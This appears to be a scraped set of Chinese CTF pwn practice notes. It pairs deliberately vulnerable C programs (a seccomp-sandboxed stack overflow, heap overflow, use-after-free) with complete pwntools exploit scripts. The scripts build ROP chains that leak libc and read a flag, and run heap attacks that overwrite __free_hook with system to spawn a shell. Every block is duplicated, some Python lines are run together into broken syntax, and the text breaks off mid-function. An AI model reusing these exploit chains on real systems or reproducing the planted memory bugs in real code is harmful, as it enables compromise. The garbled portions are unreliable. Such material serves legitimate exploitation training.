gem install seccomp-tools
使用方法
seccomp-tools dump ./xxx
安装流程:
sudo apt install gcc ruby-dev
gem install seccomp-tools
使用方法
seccomp-tools dump ./xxx
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>   
#include<linux/bpf.h>
#include<sys/types.h>
 
 
 
void init()
{
      setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
   
}
void sandbox(){
        struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
        BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        };
        struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void main()
{
    init();
    sandbox();
    char buf[0x48];
    printf("%s\n","Today is a good day no right man?");
    read(0,buf,0x100);
}
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>   
#include<linux/bpf.h>
#include<sys/types.h>
 
 
 
void init()
{
      setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
   
}
void sandbox(){
        struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
        BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        };
        struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void main()
{
    init();
    sandbox();
    char buf[0x48];
    printf("%s\n","Today is a good day no right man?");
    read(0,buf,0x100);
}
from pwn import *
r=process('./good')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./good')
context.log_level='debug'
'''
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005f8 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a
0x0000000000400778 : ret 0x2be
 
 
'''
rdi=0x0000000000400843
rsi=0x0000000000400841
r.recv()
#puts(puts_got)
pay='a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x0400790)
r.sendline(pay)
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
libc_base=leak-libc.sym['puts']
print(hex(libc_base))
r.recv()
pay3='a'*0x58+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(0x0400790)
r.send(pay3)
r.send('flag')
 
r.recv()
pay1='a'*0x58+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(libc_base+libc.sym['syscall'])
pay1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(libc_base+libc.sym['read'])
pay1+=p64(rdi)+p64(0x601200)+p64(libc_base+libc.sym['puts'])+p64(0x0400790)
r.send(pay1)
print(r.recvuntil("}"))
from pwn import *
r=process('./good')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./good')
context.log_level='debug'
'''
0x000000000040083c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400840 : pop r14 ; pop r15 ; ret
0x0000000000400842 : pop r15 ; ret
0x000000000040083b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040083f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005f8 : pop rbp ; ret
0x0000000000400843 : pop rdi ; ret
0x0000000000400841 : pop rsi ; pop r15 ; ret
0x000000000040083d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040053e : ret
0x0000000000400542 : ret 0x200a
0x0000000000400778 : ret 0x2be
 
 
'''
rdi=0x0000000000400843
rsi=0x0000000000400841
r.recv()
#puts(puts_got)
pay='a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x0400790)
r.sendline(pay)
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
libc_base=leak-libc.sym['puts']
print(hex(libc_base))
r.recv()
pay3='a'*0x58+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(libc_base+libc.sym['read'])+p64(0x0400790)
r.send(pay3)
r.send('flag')
 
r.recv()
pay1='a'*0x58+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(libc_base+libc.sym['syscall'])
pay1+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(libc_base+libc.sym['read'])
pay1+=p64(rdi)+p64(0x601200)+p64(libc_base+libc.sym['puts'])+p64(0x0400790)
r.send(pay1)
print(r.recvuntil("}"))
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>   
#include<linux/bpf.h>
#include<sys/types.h>
 
 
 
void init()
{
      setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
   
}
void sandbox(){
        struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
        BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        };
        struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void main()
{
        sandbox();
        char buf[0x100];
        puts("只能写一点点");
        read(0,buf,0x110);
}
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<stddef.h>
#include<linux/seccomp.h>
#include<linux/filter.h>
#include<sys/prctl.h>   
#include<linux/bpf.h>
#include<sys/types.h>
 
 
 
void init()
{
      setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
   
}
void sandbox(){
        struct sock_filter filter[] = {
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
        BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
        };
        struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
        .filter = filter,
        };
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
void main()
{
        sandbox();
        char buf[0x100];
        puts("只能写一点点");
        read(0,buf,0x110);
}
from pwn import *r=process('./alittle-up')
elf=ELF('./alittle-up')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
bss=0x601000+0x400
rdi=0x0000000000400833
leave=0x4007B1ret=0x4007CC
rsi=0x0000000000400831
r.recv()
pay='a'*0x100+p64(bss)+p64(leave)r.send(pay)pay1='a'*0x100+p64(bss+0x100)+p64(leave)r.send(pay1)
pay2=p64(bss+0x110)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400790)
r.send(pay2)
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
pay3='a'*0x100+p64(bss+0x120)+p64(leave)r.send(pay3)
pay5=p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(base+libc.sym['read'])+p64(0x400790)
r.send(pay5)
r.send("flag")
pay6='a'*0x100+p64(bss+0x300)+p64(leave)
#gdb.attach(r)
r.send(pay6)
pay1='a'*0x100+p64(bss+0x400)+p64(leave)r.send(pay1)
#gdb.attach(r)
pay8=p64(0)+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(base+libc.sym['syscall'])
pay8+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(base+libc.sym['read'])
pay8+=p64(rdi)+p64(0x601200)+p64(base+libc.sym['puts'])+p64(0x400790)
r.send(pay8)
r.interactive()
from pwn import *r=process('./alittle-up')
elf=ELF('./alittle-up')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
bss=0x601000+0x400
rdi=0x0000000000400833
leave=0x4007B1ret=0x4007CC
rsi=0x0000000000400831
r.recv()
pay='a'*0x100+p64(bss)+p64(leave)r.send(pay)pay1='a'*0x100+p64(bss+0x100)+p64(leave)r.send(pay1)
pay2=p64(bss+0x110)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x400790)
r.send(pay2)
leak=u64(r.recv(6)+'\x00'*2)
base=leak-libc.sym['puts']
print(hex(base))
pay3='a'*0x100+p64(bss+0x120)+p64(leave)r.send(pay3)
pay5=p64(bss+0x130)+p64(rdi)+p64(0)+p64(rsi)+p64(0x601200)+p64(0x40)+p64(base+libc.sym['read'])+p64(0x400790)
r.send(pay5)
r.send("flag")
pay6='a'*0x100+p64(bss+0x300)+p64(leave)
#gdb.attach(r)
r.send(pay6)
pay1='a'*0x100+p64(bss+0x400)+p64(leave)r.send(pay1)
#gdb.attach(r)
pay8=p64(0)+p64(rdi)+p64(0x2)+p64(rsi)+p64(0x601200)+p64(0)+p64(base+libc.sym['syscall'])
pay8+=p64(rdi)+p64(3)+p64(rsi)+p64(0x601200)+p64(0x100)+p64(base+libc.sym['read'])
pay8+=p64(rdi)+p64(0x601200)+p64(base+libc.sym['puts'])+p64(0x400790)
r.send(pay8)
r.interactive()
heap #查看堆块
bin #查看bin区块
p &__free_hook #查看某个函数的真实地址
p *__free_hook #查看某个函数的指向
x/xxgx 0xxxx #查看某个地址的内存
vmmap
heap #查看堆块
bin #查看bin区块
p &__free_hook #查看某个函数的真实地址
p *__free_hook #查看某个函数的指向
x/xxgx 0xxxx #查看某个地址的内存
vmmap
pwndbg> x/32gx 0x602000
0x602000:   prev_size   size
0x602010:   fd  bk
0x602020:   fd_next bk_next
0x602030:   0x0000000000000000  0x0000000000000000
pwndbg> x/32gx 0x602000
0x602000:   prev_size   size
0x602010:   fd  bk
0x602020:   fd_next bk_next
0x602030:   0x0000000000000000  0x0000000000000000
//ezheap
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      heap[idx]=NULL;
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
//ezheap
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      heap[idx]=NULL;
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
from pwn import *
r=process('./ezheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
 
add(0x420)
add(0x420)
add(0x420)
dele(1)
add(0x90)
show(2)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ec090
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
add(0x90)
dele(3)
edit(2,0x666,'a'*0x90+p64(0xa0)+p64(0x41)+p64(free))
add(0x90)
add(0x90)
edit(3,0x10,"/bin/sh\x00")
edit(4,0x10,p64(sys))
dele(3)
gdb.attach(r)
r.interactive()
from pwn import *
r=process('./ezheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
 
add(0x420)
add(0x420)
add(0x420)
dele(1)
add(0x90)
show(2)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ec090
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
add(0x90)
dele(3)
edit(2,0x666,'a'*0x90+p64(0xa0)+p64(0x41)+p64(free))
add(0x90)
add(0x90)
edit(3,0x10,"/bin/sh\x00")
edit(4,0x10,p64(sys))
dele(3)
gdb.attach(r)
r.interactive()
//eheap
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    if(size>0x80)
    {
        return;
    }
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      heap[idx]=NULL;
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
//eheap
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    if(size>0x80)
    {
        return;
    }
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      heap[idx]=NULL;
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
from pwn import *
r=process('./eheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
 
add(0x78)
add(0x78)
add(0x78)
dele(1)
dele(0)
add(0x78)
edit(1,1,'1')
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001721
print(hex(heap))
edit(1,0x999,'a'*0x78+p64(0x81)+p64(heap))
add(0x78)
add(0x78)
pad = 'a'*0x20+p64(0x0000000007000000)
edit(3,0x100,pad)
dele(3)
add(0x78)
show(3)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=p64(base+libc.sym['__free_hook'])
sys=p64(base+libc.sym['system'])
dele(2)
edit(1,0x100,'a'*0x78+p64(0x81)+free)
add(0x78)
add(0x78)
edit(1,0x10,'/bin/sh\x00')
edit(4,0x10,sys)
dele(1)
r.interactive()
from pwn import *
r=process('./eheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
 
add(0x78)
add(0x78)
add(0x78)
dele(1)
dele(0)
add(0x78)
edit(1,1,'1')
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001721
print(hex(heap))
edit(1,0x999,'a'*0x78+p64(0x81)+p64(heap))
add(0x78)
add(0x78)
pad = 'a'*0x20+p64(0x0000000007000000)
edit(3,0x100,pad)
dele(3)
add(0x78)
show(3)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=p64(base+libc.sym['__free_hook'])
sys=p64(base+libc.sym['system'])
dele(2)
edit(1,0x100,'a'*0x78+p64(0x81)+free)
add(0x78)
add(0x78)
edit(1,0x10,'/bin/sh\x00')
edit(4,0x10,sys)
dele(1)
r.interactive()
//uaf
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    if(size>=0x20)
    {
        puts("no more");
        return;
    }
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      if(size>0x20)
      {
          puts("too more");
          return;
      }
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
//uaf
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    if(size>=0x20)
    {
        puts("no more");
        return;
    }
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      if(size>0x20)
      {
          puts("too more");
          return;
      }
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
from pwn import *
r=process('./uaf')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
for i in range(7):
    add(0x10)
 
dele(0)
dele(1)
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001680+0x10
print(hex(heap))
edit(0,0x10,p64(heap))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x10)
edit(7,0x20,p64(0)*4)
dele(5)
edit(5,0x10,p64(heap+0x20))
add(0x10)
add(0x10)
edit(10,0x20,p64(0x0000000007000000))
dele(7)
add(0x10)
show(10)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
edit(10,0x20,p64(0)*4)
dele(10)
edit(10,0x20,p64(free))
add(0x10)
add(0x10)
edit(11,0x10,p64(sys))
edit(10,0x10,"/bin/sh\x00")
dele(10)
r.interactive()
from pwn import *
r=process('./uaf')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
for i in range(7):
    add(0x10)
 
dele(0)
dele(1)
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001680+0x10
print(hex(heap))
edit(0,0x10,p64(heap))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x10)
edit(7,0x20,p64(0)*4)
dele(5)
edit(5,0x10,p64(heap+0x20))
add(0x10)
add(0x10)
edit(10,0x20,p64(0x0000000007000000))
dele(7)
add(0x10)
show(10)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
edit(10,0x20,p64(0)*4)
dele(10)
edit(10,0x20,p64(free))
add(0x10)
add(0x10)
edit(11,0x10,p64(sys))
edit(10,0x10,"/bin/sh\x00")
dele(10)
r.interactive()
#include<stdio.h>
void init()
{
        setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    return 0;
}
int num=0;
char *heaparray[0x10];
size_t realsize[0x10];
void create(){
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
    heaparray[num]=(char *)malloc(size);
    realsize[num]=size;
    num++;
    
    }
void show(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆块的index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){//根据序列进行查找
        //打印指定堆块内容
        printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void edit(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆的序列号
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断序列号的正确性
        puts("Out of bound!");
        _exit(0);
    }
  //若序列号正确
    if(heaparray[idx]){
        printf("Content of heap : \n");
        read(0,heaparray[idx],realsize[idx]+8);
    //调用read_input函数输入堆的内容
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void dele(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断堆块序列的合法性
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);//free heaparray[idx]指针
        realsize[idx] = 0 ;
        puts("Done !");
        num--;
    }else{
